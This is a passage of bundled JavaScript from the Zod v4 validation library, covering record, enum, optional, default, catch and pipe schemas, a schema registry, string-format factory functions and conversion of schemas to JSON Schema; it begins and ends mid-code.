continue;\n }\n const outKey = keyResult.value;\n const result = def.valueType._zod.run({\n value: input[key],\n issues: []\n }, ctx);\n if (result instanceof Promise) proms.push(result.then((result) => {\n if (result.issues.length) payload.issues.push(...prefixIssues(key, result.issues));\n payload.value[outKey] = result.value;\n }));\n else {\n if (result.issues.length) payload.issues.push(...prefixIssues(key, result.issues));\n payload.value[outKey] = result.value;\n }\n }\n let unrecognized;\n for (const key in input) if (!recordKeys.has(key)) {\n unrecognized = unrecognized ?? [];\n unrecognized.push(key);\n }\n if (unrecognized && unrecognized.length > 0) payload.issues.push({\n code: \"unrecognized_keys\",\n input,\n inst,\n keys: unrecognized\n });\n } else {\n payload.value = {};\n for (const key of Reflect.ownKeys(input)) {\n if (key === \"__proto__\") continue;\n if (!Object.prototype.propertyIsEnumerable.call(input, key)) continue;\n let keyResult = def.keyType._zod.run({\n value: key,\n issues: []\n }, ctx);\n if (keyResult instanceof Promise) throw new Error(\"Async schemas not supported in object keys currently\");\n if (typeof key === \"string\" && number.test(key) && keyResult.issues.length) {\n const retryResult = def.keyType._zod.run({\n value: Number(key),\n issues: []\n }, ctx);\n if (retryResult instanceof Promise) throw new Error(\"Async schemas not supported in object keys currently\");\n if (retryResult.issues.length === 0) keyResult = retryResult;\n }\n if (keyResult.issues.length) {\n if (def.mode === \"loose\") payload.value[key] = input[key];\n else payload.issues.push({\n code: \"invalid_key\",\n origin: \"record\",\n issues: keyResult.issues.map((iss) => finalizeIssue(iss, ctx, config())),\n input: key,\n path: [key],\n inst\n });\n continue;\n }\n const result = def.valueType._zod.run({\n value: input[key],\n issues: []\n }, ctx);\n if (result instanceof Promise) proms.push(result.then((result) => {\n if (result.issues.length) payload.issues.push(...prefixIssues(key, result.issues));\n payload.value[keyResult.value] = result.value;\n }));\n else {\n if (result.issues.length) payload.issues.push(...prefixIssues(key, result.issues));\n payload.value[keyResult.value] = result.value;\n }\n }\n }\n if (proms.length) return Promise.all(proms).then(() => payload);\n return payload;\n };\n});\nconst $ZodEnum = /*@__PURE__*/ $constructor(\"$ZodEnum\", (inst, def) => {\n $ZodType.init(inst, def);\n const values = getEnumValues(def.entries);\n const valuesSet = new Set(values);\n inst._zod.values = valuesSet;\n inst._zod.pattern = new RegExp(`^(${values.filter((k) => propertyKeyTypes.has(typeof k)).map((o) => typeof o === \"string\" ? escapeRegex(o) : o.toString()).join(\"|\")})$`);\n inst._zod.parse = (payload, _ctx) => {\n const input = payload.value;\n if (valuesSet.has(input)) return payload;\n payload.issues.push({\n code: \"invalid_value\",\n values,\n input,\n inst\n });\n return payload;\n };\n});\nconst $ZodTransform = /*@__PURE__*/ $constructor(\"$ZodTransform\", (inst, def) => {\n $ZodType.init(inst, def);\n inst._zod.optin = \"optional\";\n inst._zod.parse = (payload, ctx) => {\n if (ctx.direction === \"backward\") throw new $ZodEncodeError(inst.constructor.name);\n const _out = def.transform(payload.value, payload);\n if (ctx.async) return (_out instanceof Promise ? _out : Promise.resolve(_out)).then((output) => {\n payload.value = output;\n payload.fallback = true;\n return payload;\n });\n if (_out instanceof Promise) throw new $ZodAsyncError();\n payload.value = _out;\n payload.fallback = true;\n return payload;\n };\n});\nfunction handleOptionalResult(result, input) {\n if (input === void 0 && (result.issues.length || result.fallback)) return {\n issues: [],\n value: void 0\n };\n return result;\n}\nconst $ZodOptional = /*@__PURE__*/ $constructor(\"$ZodOptional\", (inst, def) => {\n $ZodType.init(inst, def);\n inst._zod.optin = \"optional\";\n inst._zod.optout = \"optional\";\n defineLazy(inst._zod, \"values\", () => {\n return def.innerType._zod.values ? /* @__PURE__ */ new Set([...def.innerType._zod.values, void 0]) : void 0;\n });\n defineLazy(inst._zod, \"pattern\", () => {\n const pattern = def.innerType._zod.pattern;\n return pattern ? new RegExp(`^(${cleanRegex(pattern.source)})?$`) : void 0;\n });\n inst._zod.parse = (payload, ctx) => {\n if (def.innerType._zod.optin === \"optional\") {\n const input = payload.value;\n const result = def.innerType._zod.run(payload, ctx);\n if (result instanceof Promise) return result.then((r) => handleOptionalResult(r, input));\n return handleOptionalResult(result, input);\n }\n if (payload.value === void 0) return payload;\n return def.innerType._zod.run(payload, ctx);\n };\n});\nconst $ZodExactOptional = /*@__PURE__*/ $constructor(\"$ZodExactOptional\", (inst, def) => {\n $ZodOptional.init(inst, def);\n defineLazy(inst._zod, \"values\", () => def.innerType._zod.values);\n defineLazy(inst._zod, \"pattern\", () => def.innerType._zod.pattern);\n inst._zod.parse = (payload, ctx) => {\n return def.innerType._zod.run(payload, ctx);\n };\n});\nconst $ZodNullable = /*@__PURE__*/ $constructor(\"$ZodNullable\", (inst, def) => {\n $ZodType.init(inst, def);\n defineLazy(inst._zod, \"optin\", () => def.innerType._zod.optin);\n defineLazy(inst._zod, \"optout\", () => def.innerType._zod.optout);\n defineLazy(inst._zod, \"pattern\", () => {\n const pattern = def.innerType._zod.pattern;\n return pattern ? new RegExp(`^(${cleanRegex(pattern.source)}|null)$`) : void 0;\n });\n defineLazy(inst._zod, \"values\", () => {\n return def.innerType._zod.values ? /* @__PURE__ */ new Set([...def.innerType._zod.values, null]) : void 0;\n });\n inst._zod.parse = (payload, ctx) => {\n if (payload.value === null) return payload;\n return def.innerType._zod.run(payload, ctx);\n };\n});\nconst $ZodDefault = /*@__PURE__*/ $constructor(\"$ZodDefault\", (inst, def) => {\n $ZodType.init(inst, def);\n inst._zod.optin = \"optional\";\n defineLazy(inst._zod, \"values\", () => def.innerType._zod.values);\n inst._zod.parse = (payload, ctx) => {\n if (ctx.direction === \"backward\") return def.innerType._zod.run(payload, ctx);\n if (payload.value === void 0) {\n payload.value = def.defaultValue;\n /**\n * $ZodDefault returns the default value immediately in forward direction.\n * It doesn't pass the default value into the validator (\"prefault\"). There's no reason to pass the default value through validation. The validity of the default is enforced by TypeScript statically. Otherwise, it's the responsibility of the user to ensure the default is valid. In the case of pipes with divergent in/out types, you can specify the default on the `in` schema of your ZodPipe to set a \"prefault\" for the pipe. */\n return payload;\n }\n const result = def.innerType._zod.run(payload, ctx);\n if (result instanceof Promise) return result.then((result) => handleDefaultResult(result, def));\n return handleDefaultResult(result, def);\n };\n});\nfunction handleDefaultResult(payload, def) {\n if (payload.value === void 0) payload.value = def.defaultValue;\n return payload;\n}\nconst $ZodPrefault = /*@__PURE__*/ $constructor(\"$ZodPrefault\", (inst, def) => {\n $ZodType.init(inst, def);\n inst._zod.optin = \"optional\";\n defineLazy(inst._zod, \"values\", () => def.innerType._zod.values);\n inst._zod.parse = (payload, ctx) => {\n if (ctx.direction === \"backward\") return def.innerType._zod.run(payload, ctx);\n if (payload.value === void 0) payload.value = def.defaultValue;\n return def.innerType._zod.run(payload, ctx);\n };\n});\nconst $ZodNonOptional = /*@__PURE__*/ $constructor(\"$ZodNonOptional\", (inst, def) => {\n $ZodType.init(inst, def);\n defineLazy(inst._zod, \"values\", () => {\n const v = def.innerType._zod.values;\n return v ? new Set([...v].filter((x) => x !== void 0)) : void 0;\n });\n inst._zod.parse = (payload, ctx) => {\n const result = def.innerType._zod.run(payload, ctx);\n if (result instanceof Promise) return result.then((result) => handleNonOptionalResult(result, inst));\n return handleNonOptionalResult(result, inst);\n };\n});\nfunction handleNonOptionalResult(payload, inst) {\n if (!payload.issues.length && payload.value === void 0) payload.issues.push({\n code: \"invalid_type\",\n expected: \"nonoptional\",\n input: payload.value,\n inst\n });\n return payload;\n}\nconst $ZodCatch = /*@__PURE__*/ $constructor(\"$ZodCatch\", (inst, def) => {\n $ZodType.init(inst, def);\n inst._zod.optin = \"optional\";\n defineLazy(inst._zod, \"optout\", () => def.innerType._zod.optout);\n defineLazy(inst._zod, \"values\", () => def.innerType._zod.values);\n inst._zod.parse = (payload, ctx) => {\n if (ctx.direction === \"backward\") return def.innerType._zod.run(payload, ctx);\n const result = def.innerType._zod.run(payload, ctx);\n if (result instanceof Promise) return result.then((result) => {\n payload.value = result.value;\n if (result.issues.length) {\n payload.value = def.catchValue({\n ...payload,\n error: { issues: result.issues.map((iss) => finalizeIssue(iss, ctx, config())) },\n input: payload.value\n });\n payload.issues = [];\n payload.fallback = true;\n }\n return payload;\n });\n payload.value = result.value;\n if (result.issues.length) {\n payload.value = def.catchValue({\n ...payload,\n error: { issues: result.issues.map((iss) => finalizeIssue(iss, ctx, config())) },\n input: payload.value\n });\n payload.issues = [];\n payload.fallback = true;\n }\n return payload;\n };\n});\nconst $ZodPipe = /*@__PURE__*/ $constructor(\"$ZodPipe\", (inst, def) => {\n $ZodType.init(inst, def);\n defineLazy(inst._zod, \"values\", () => def.in._zod.values);\n defineLazy(inst._zod, \"optin\", () => def.in._zod.optin);\n defineLazy(inst._zod, \"optout\", () => def.out._zod.optout);\n defineLazy(inst._zod, \"propValues\", () => def.in._zod.propValues);\n inst._zod.parse = (payload, ctx) => {\n if (ctx.direction === \"backward\") {\n const right = def.out._zod.run(payload, ctx);\n if (right instanceof Promise) return right.then((right) => handlePipeResult(right, def.in, ctx));\n return handlePipeResult(right, def.in, ctx);\n }\n const left = def.in._zod.run(payload, ctx);\n if (left instanceof Promise) return left.then((left) => handlePipeResult(left, def.out, ctx));\n return handlePipeResult(left, def.out, ctx);\n };\n});\nfunction handlePipeResult(left, next, ctx) {\n if (left.issues.length) {\n left.aborted = true;\n return left;\n }\n return next._zod.run({\n value: left.value,\n issues: left.issues,\n fallback: left.fallback\n }, ctx);\n}\nconst $ZodReadonly = /*@__PURE__*/ $constructor(\"$ZodReadonly\", (inst, def) => {\n $ZodType.init(inst, def);\n defineLazy(inst._zod, \"propValues\", () => def.innerType._zod.propValues);\n defineLazy(inst._zod, \"values\", () => def.innerType._zod.values);\n defineLazy(inst._zod, \"optin\", () => def.innerType?._zod?.optin);\n defineLazy(inst._zod, \"optout\", () => def.innerType?._zod?.optout);\n inst._zod.parse = (payload, ctx) => {\n if (ctx.direction === \"backward\") return def.innerType._zod.run(payload, ctx);\n const result = def.innerType._zod.run(payload, ctx);\n if (result instanceof Promise) return result.then(handleReadonlyResult);\n return handleReadonlyResult(result);\n };\n});\nfunction handleReadonlyResult(payload) {\n payload.value = Object.freeze(payload.value);\n return payload;\n}\nconst $ZodCustom = /*@__PURE__*/ $constructor(\"$ZodCustom\", (inst, def) => {\n $ZodCheck.init(inst, def);\n $ZodType.init(inst, def);\n inst._zod.parse = (payload, _) => {\n return payload;\n };\n inst._zod.check = (payload) => {\n const input = payload.value;\n const r = def.fn(input);\n if (r instanceof Promise) return r.then((r) => handleRefineResult(r, payload, input, inst));\n handleRefineResult(r, payload, input, inst);\n };\n});\nfunction handleRefineResult(result, payload, input, inst) {\n if (!result) {\n const _iss = {\n code: \"custom\",\n input,\n inst,\n path: [...inst._zod.def.path ?? []],\n continue: !inst._zod.def.abort\n };\n if (inst._zod.def.params) _iss.params = inst._zod.def.params;\n payload.issues.push(issue(_iss));\n }\n}\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/registries.js\nvar _a;\nvar $ZodRegistry = class {\n constructor() {\n this._map = /* @__PURE__ */ new WeakMap();\n this._idmap = /* @__PURE__ */ new Map();\n }\n add(schema, ..._meta) {\n const meta = _meta[0];\n this._map.set(schema, meta);\n if (meta && typeof meta === \"object\" && \"id\" in meta) this._idmap.set(meta.id, schema);\n return this;\n }\n clear() {\n this._map = /* @__PURE__ */ new WeakMap();\n this._idmap = /* @__PURE__ */ new Map();\n return this;\n }\n remove(schema) {\n const meta = this._map.get(schema);\n if (meta && typeof meta === \"object\" && \"id\" in meta) this._idmap.delete(meta.id);\n this._map.delete(schema);\n return this;\n }\n get(schema) {\n const p = schema._zod.parent;\n if (p) {\n const pm = { ...this.get(p) ?? {} };\n delete pm.id;\n const f = {\n ...pm,\n ...this._map.get(schema)\n };\n return Object.keys(f).length ? f : void 0;\n }\n return this._map.get(schema);\n }\n has(schema) {\n return this._map.has(schema);\n }\n};\nfunction registry() {\n return new $ZodRegistry();\n}\n(_a = globalThis).__zod_globalRegistry ?? (_a.__zod_globalRegistry = registry());\nconst globalRegistry = globalThis.__zod_globalRegistry;\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/api.js\n// @__NO_SIDE_EFFECTS__\nfunction _string(Class, params) {\n return new Class({\n type: \"string\",\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _email(Class, params) {\n return new Class({\n type: \"string\",\n format: \"email\",\n check: \"string_format\",\n abort: false,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _guid(Class, params) {\n return new Class({\n type: \"string\",\n format: \"guid\",\n check: \"string_format\",\n abort: false,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _uuid(Class, params) {\n return new Class({\n type: \"string\",\n format: \"uuid\",\n check: \"string_format\",\n abort: false,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _uuidv4(Class, params) {\n return new Class({\n type: \"string\",\n format: \"uuid\",\n check: \"string_format\",\n abort: false,\n version: \"v4\",\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _uuidv6(Class, params) {\n return new Class({\n type: \"string\",\n format: \"uuid\",\n check: \"string_format\",\n abort: false,\n version: \"v6\",\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _uuidv7(Class, params) {\n return new Class({\n type: \"string\",\n format: \"uuid\",\n check: \"string_format\",\n abort: false,\n version: \"v7\",\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _url(Class, params) {\n return new Class({\n type: \"string\",\n format: \"url\",\n check: \"string_format\",\n abort: false,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _emoji(Class, params) {\n return new Class({\n type: \"string\",\n format: \"emoji\",\n check: \"string_format\",\n abort: false,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _nanoid(Class, params) {\n return new Class({\n type: \"string\",\n format: \"nanoid\",\n check: \"string_format\",\n abort: false,\n ...normalizeParams(params)\n });\n}\n/**\n* @deprecated CUID v1 is deprecated by its authors due to information leakage\n* (timestamps embedded in the id). Use {@link _cuid2} instead.\n* See https://github.com/paralleldrive/cuid.\n*/\n// @__NO_SIDE_EFFECTS__\nfunction _cuid(Class, params) {\n return new Class({\n type: \"string\",\n format: \"cuid\",\n check: \"string_format\",\n abort: false,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _cuid2(Class, params) {\n return new Class({\n type: \"string\",\n format: \"cuid2\",\n check: \"string_format\",\n abort: false,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _ulid(Class, params) {\n return new Class({\n type: \"string\",\n format: \"ulid\",\n check: \"string_format\",\n abort: false,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _xid(Class, params) {\n return new Class({\n type: \"string\",\n format: \"xid\",\n check: \"string_format\",\n abort: false,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _ksuid(Class, params) {\n return new Class({\n type: \"string\",\n format: \"ksuid\",\n check: \"string_format\",\n abort: false,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _ipv4(Class, params) {\n return new Class({\n type: \"string\",\n format: \"ipv4\",\n check: \"string_format\",\n abort: false,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _ipv6(Class, params) {\n return new Class({\n type: \"string\",\n format: \"ipv6\",\n check: \"string_format\",\n abort: false,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _cidrv4(Class, params) {\n return new Class({\n type: \"string\",\n format: \"cidrv4\",\n check: \"string_format\",\n abort: false,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _cidrv6(Class, params) {\n return new Class({\n type: \"string\",\n format: \"cidrv6\",\n check: \"string_format\",\n abort: false,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _base64(Class, params) {\n return new Class({\n type: \"string\",\n format: \"base64\",\n check: \"string_format\",\n abort: false,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _base64url(Class, params) {\n return new Class({\n type: \"string\",\n format: \"base64url\",\n check: \"string_format\",\n abort: false,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _e164(Class, params) {\n return new Class({\n type: \"string\",\n format: \"e164\",\n check: \"string_format\",\n abort: false,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _jwt(Class, params) {\n return new Class({\n type: \"string\",\n format: \"jwt\",\n check: \"string_format\",\n abort: false,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _isoDateTime(Class, params) {\n return new Class({\n type: \"string\",\n format: \"datetime\",\n check: \"string_format\",\n offset: false,\n local: false,\n precision: null,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _isoDate(Class, params) {\n return new Class({\n type: \"string\",\n format: \"date\",\n check: \"string_format\",\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _isoTime(Class, params) {\n return new Class({\n type: \"string\",\n format: \"time\",\n check: \"string_format\",\n precision: null,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _isoDuration(Class, params) {\n return new Class({\n type: \"string\",\n format: \"duration\",\n check: \"string_format\",\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _unknown(Class) {\n return new Class({ type: \"unknown\" });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _never(Class, params) {\n return new Class({\n type: \"never\",\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _maxLength(maximum, params) {\n return new $ZodCheckMaxLength({\n check: \"max_length\",\n ...normalizeParams(params),\n maximum\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _minLength(minimum, params) {\n return new $ZodCheckMinLength({\n check: \"min_length\",\n ...normalizeParams(params),\n minimum\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _length(length, params) {\n return new $ZodCheckLengthEquals({\n check: \"length_equals\",\n ...normalizeParams(params),\n length\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _regex(pattern, params) {\n return new $ZodCheckRegex({\n check: \"string_format\",\n format: \"regex\",\n ...normalizeParams(params),\n pattern\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _lowercase(params) {\n return new $ZodCheckLowerCase({\n check: \"string_format\",\n format: \"lowercase\",\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _uppercase(params) {\n return new $ZodCheckUpperCase({\n check: \"string_format\",\n format: \"uppercase\",\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _includes(includes, params) {\n return new $ZodCheckIncludes({\n check: \"string_format\",\n format: \"includes\",\n ...normalizeParams(params),\n includes\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _startsWith(prefix, params) {\n return new $ZodCheckStartsWith({\n check: \"string_format\",\n format: \"starts_with\",\n ...normalizeParams(params),\n prefix\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _endsWith(suffix, params) {\n return new $ZodCheckEndsWith({\n check: \"string_format\",\n format: \"ends_with\",\n ...normalizeParams(params),\n suffix\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _overwrite(tx) {\n return new $ZodCheckOverwrite({\n check: \"overwrite\",\n tx\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _normalize(form) {\n return /* @__PURE__ */ _overwrite((input) => input.normalize(form));\n}\n// @__NO_SIDE_EFFECTS__\nfunction _trim() {\n return /* @__PURE__ */ _overwrite((input) => input.trim());\n}\n// @__NO_SIDE_EFFECTS__\nfunction _toLowerCase() {\n return /* @__PURE__ */ _overwrite((input) => input.toLowerCase());\n}\n// @__NO_SIDE_EFFECTS__\nfunction _toUpperCase() {\n return /* @__PURE__ */ _overwrite((input) => input.toUpperCase());\n}\n// @__NO_SIDE_EFFECTS__\nfunction _slugify() {\n return /* @__PURE__ */ _overwrite((input) => slugify(input));\n}\n// @__NO_SIDE_EFFECTS__\nfunction _array(Class, element, params) {\n return new Class({\n type: \"array\",\n element,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _refine(Class, fn, _params) {\n return new Class({\n type: \"custom\",\n check: \"custom\",\n fn,\n ...normalizeParams(_params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _superRefine(fn, params) {\n const ch = /* @__PURE__ */ _check((payload) => {\n payload.addIssue = (issue$2) => {\n if (typeof issue$2 === \"string\") payload.issues.push(issue(issue$2, payload.value, ch._zod.def));\n else {\n const _issue = issue$2;\n if (_issue.fatal) _issue.continue = false;\n _issue.code ?? (_issue.code = \"custom\");\n _issue.input ?? (_issue.input = payload.value);\n _issue.inst ?? (_issue.inst = ch);\n _issue.continue ?? (_issue.continue = !ch._zod.def.abort);\n payload.issues.push(issue(_issue));\n }\n };\n return fn(payload.value, payload);\n }, params);\n return ch;\n}\n// @__NO_SIDE_EFFECTS__\nfunction _check(fn, params) {\n const ch = new $ZodCheck({\n check: \"custom\",\n ...normalizeParams(params)\n });\n ch._zod.check = fn;\n return ch;\n}\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/to-json-schema.js\nfunction initializeContext(params) {\n let target = params?.target ?? \"draft-2020-12\";\n if (target === \"draft-4\") target = \"draft-04\";\n if (target === \"draft-7\") target = \"draft-07\";\n return {\n processors: params.processors ?? {},\n metadataRegistry: params?.metadata ?? globalRegistry,\n target,\n unrepresentable: params?.unrepresentable ?? \"throw\",\n override: params?.override ?? (() => {}),\n io: params?.io ?? \"output\",\n counter: 0,\n seen: /* @__PURE__ */ new Map(),\n cycles: params?.cycles ?? \"ref\",\n reused: params?.reused ?? \"inline\",\n external: params?.external ?? void 0\n };\n}\nfunction process$1(schema, ctx, _params = {\n path: [],\n schemaPath: []\n}) {\n var _a;\n const def = schema._zod.def;\n const seen = ctx.seen.get(schema);\n if (seen) {\n seen.count++;\n if (_params.schemaPath.includes(schema)) seen.cycle = _params.path;\n return seen.schema;\n }\n const result = {\n schema: {},\n count: 1,\n cycle: void 0,\n path: _params.path\n };\n ctx.seen.set(schema, result);\n const overrideSchema = schema._zod.toJSONSchema?.();\n if (overrideSchema) result.schema = overrideSchema;\n else {\n const params = {\n ..._params,\n schemaPath: [..._params.schemaPath, schema],\n path: _params.path\n };\n if (schema._zod.processJSONSchema) schema._zod.processJSONSchema(ctx, result.schema, params);\n else {\n const _json = result.schema;\n const processor = ctx.processors[def.type];\n if (!processor) throw new Error(`[toJSONSchema]: Non-representable type encountered: ${def.type}`);\n processor(schema, ctx, _json, params);\n }\n const parent = schema._zod.parent;\n if (parent) {\n if (!result.ref) result.ref = parent;\n process$1(parent, ctx, params);\n ctx.seen.get(parent).isParent = true;\n }\n }\n const meta = ctx.metadataRegistry.get(schema);\n if (meta) Object.assign(result.schema, meta);\n if (ctx.io === \"input\" && isTransforming(schema)) {\n delete result.schema.examples;\n delete result.schema.default;\n }\n if (ctx.io === \"input\" && \"_prefault\" in result.schema) (_a = result.schema).default ?? (_a.default = result.schema._prefault);\n delete result.schema._prefault;\n return ctx.seen.get(schema).schema;\n}\nfunction extractDefs(ctx, schema) {\n const root = ctx.seen.get(schema);\n if (!root) throw new Error(\"Unprocessed schema. This is a bug in Zod.\");\n const idToSchema = /* @__PURE__ */ new Map();\n for (const entry of ctx.seen.entries()) {\n const id = ctx.metadataRegistry.get(entry[0])?.id;\n if (id) {\n const existing = idToSchema.get(id);\n if (existing && existing !== entry[0]) throw new Error(`Duplicate schema id \"${id}\" detected during JSON Schema conversion. Two different schemas cannot share the same id when converted together.`);\n idToSchema.set(id, entry[0]);\n }\n }\n const makeURI = (entry) => {\n const defsSegment = ctx.target === \"draft-2020-12\" ? \"$defs\" : \"definitions\";\n if (ctx.external) {\n const externalId = ctx.external.registry.get(entry[0])?.id;\n const uriGenerator = ctx.external.uri ?? ((id) => id);\n if (externalId) return { ref: uriGenerator(externalId) };\n const id = entry[1].defId ?? entry[1].schema.id ?? `schema${ctx.counter++}`;\n entry[1].defId = id;\n return {\n defId: id,\n ref: `${uriGenerator(\"__shared\")}#/${defsSegment}/${id}`\n };\n }\n if (entry[1] === root) return { ref: \"#\" };\n const defUriPrefix = `#/${defsSegment}/`;\n const defId = entry[1].schema.id ?? `__schema${ctx.counter++}`;\n return {\n defId,\n ref: defUriPrefix + defId\n };\n };\n const extractToDef = (entry) => {\n if (entry[1].schema.$ref) return;\n const seen = entry[1];\n const { ref, defId } = makeURI(entry);\n seen.def = { ...seen.schema };\n if (defId) seen.defId = defId;\n const schema = seen.schema;\n for (const key in schema) delete schema[key];\n schema.$ref = ref;\n };\n if (ctx.cycles === \"throw\") for (const entry of ctx.seen.entries()) {\n const seen = entry[1];\n if (seen.cycle) throw new Error(`Cycle detected: #/${seen.cycle?.join(\"/\")}/<root>\n\nSet the \\`cycles\\` parameter to \\`\"ref\"\\` to resolve cyclical schemas with defs.`);\n }\n for (const entry of ctx.seen.entries()) {\n const seen = entry[1];\n if (schema === entry[0]) {\n extractToDef(entry);\n continue;\n }\n if (ctx.external) {\n const ext = ctx.external.registry.get(entry[0])?.id;\n if (schema !== entry[0] && ext) {\n extractToDef(entry);\n continue;\n }\n }\n if (ctx.metadataRegistry.get(entry[0])?.id) {\n extractToDef(entry);\n continue;\n }\n if (seen.cycle) {\n extractToDef(entry);\n continue;\n }\n if (seen.count > 1) {\n if (ctx.reused === \"ref\") {\n extractToDef(entry);\n continue;\n }\n }\n }\n}\nfunction finalize(ctx, schema) {\n const root = ctx.seen.get(schema);\n if (!root) throw new Error(\"Unprocessed schema. This is a bug in Zod.\");\n const flattenRef = (zodSchema) => {\n const seen = ctx.seen.get(zodSchema);\n if (seen.ref === null) return;\n const schema = seen.def ?? seen.schema;\n const _cached = { ...schema };\n const ref = seen.ref;\n seen.ref = null;\n if (ref) {\n flattenRef(ref);\n const refSeen = ctx.seen.get(ref);\n const refSchema = refSeen.schema;\n if (refSchema.$ref && (ctx.target === \"draft-07\" || ctx.target === \"draft-04\" || ctx.target === \"openapi-3.0\")) {\n schema.allOf = schema.allOf ?? [];\n schema.allOf.push(refSchema);\n } else Object.assign(schema, refSchema);\n Object.assign(schema, _cached);\n if (zodSchema._zod.parent === ref) for (const key in schema) {\n if (key === \"$ref\" || key === \"allOf\") continue;\n if (!(key in _cached)) delete schema[key];\n }\n if (refSchema.$ref && refSeen.def) for (const key in schema) {\n if (key === \"$ref\" || key === \"allOf\") continue;\n if (key in refSeen.def && JSON.stringify(schema[key]) === JSON.stringify(refSeen.def[key])) delete schema[key];\n }\n }\n const parent = zodSchema._zod.parent;\n if (parent && parent !== ref) {\n flattenRef(parent);\n const parentSeen = ctx.seen.get(parent);\n if (parentSeen?.schema.$ref) {\n schema.$ref = parentSeen.schema.$ref;\n if (parentSeen.def) for (const key in schema) {\n if (key === \"$ref\" || key === \"allOf\") continue;\n if (key in parentSeen.def && JSON.stringify(schema[key]) === JSON.stringify(parentSeen.def[key])) delete schema[key];\n }\n }\n }\n ctx.override({\n zodSchema,\n jsonSchema: schema,\n path: seen.path ?? []\n });\n };\n for (const entry of [...ctx.seen.entries()].reverse()) flattenRef(entry[0]);\n const result = {};\n if (ctx.target === \"draft-2020-12\") result.$schema = \"https://json-schema.org/draft/2020-12/schema\";\n else if (ctx.target === \"draft-07\") result.$schema = \"http://json-schema.org/draft-07/schema#\";\n else if (ctx.target === \"draft-04\") result.$schema = \"http://json-schema.org/draft-04/schema#\";\n else if (ctx.target === \"openapi-3.0\") {}\n if (ctx.external?.uri) {\n const id = ctx.external.registry.get(schema)?.id;\n if (!id) throw new Error(\"Schema is missing an `id` property\");\n result.$id = ctx.external.uri(id);\n }\n Object.assign(result, root.def ?? root.schema);\n const rootMetaId = ctx.metadataRegistry.get(schema)?.id;\n if (rootMetaId !== void 0 && result.id === rootMetaId) delete result.id;\n const defs = ctx.external?.defs ?? {};\n for (const entry of ctx.seen.entries()) {\n const seen = entry[1];\n if (seen.def && seen.defId) {\n if (seen.def.id === seen.defId) delete seen.def.id;\n defs[seen.defId] = seen.def;\n }\n }\n if (ctx.external) {} else if (Object.keys(defs).length > 0) if (ctx.target === \"draft-2020-12\") result.$defs = defs;\n else result.definitions = defs;\n try {\n const finalized = JSON.parse(JSON.stringify(result));\n Object.defineProperty(finalized, \"~standard\", {\n value: {\n ...schema[\"~standard\"],\n jsonSchema: {\n input: createStandardJSONSchemaMethod(schema, \"input\", ctx.processors),\n output: createStandardJSONSchemaMethod(schema, \"output\", ctx.processors)\n }\n },\n enumerable: false,\n writable: false\n });\n return finalized;\n } catch (_err) {\n throw new Error(\"Error converting schema to JSON.\");\n }\n}\nfunction isTransforming(_schema, _ctx) {\n const ctx = _ctx ?? { seen: /* @__PURE__ */ new Set() };\n if (ctx.seen.has(_schema)) return false;\n ctx.seen.add(_schema);\n const def = _schema._zod.def;\n if (def.type === \"transform\") return true;\n if (def.type === \"array\") return isTransforming(def.element, ctx);\n if (def.type === \"set\") return isTransforming(def.valueType, ctx);\n if (def.type === \"lazy\") return isTransforming(def.getter(), ctx);\n if (def.type === \"promise\" || def.type === \"optional\" || def.type === \"nonoptional\" || def.type === \"nullable\" || def.type === 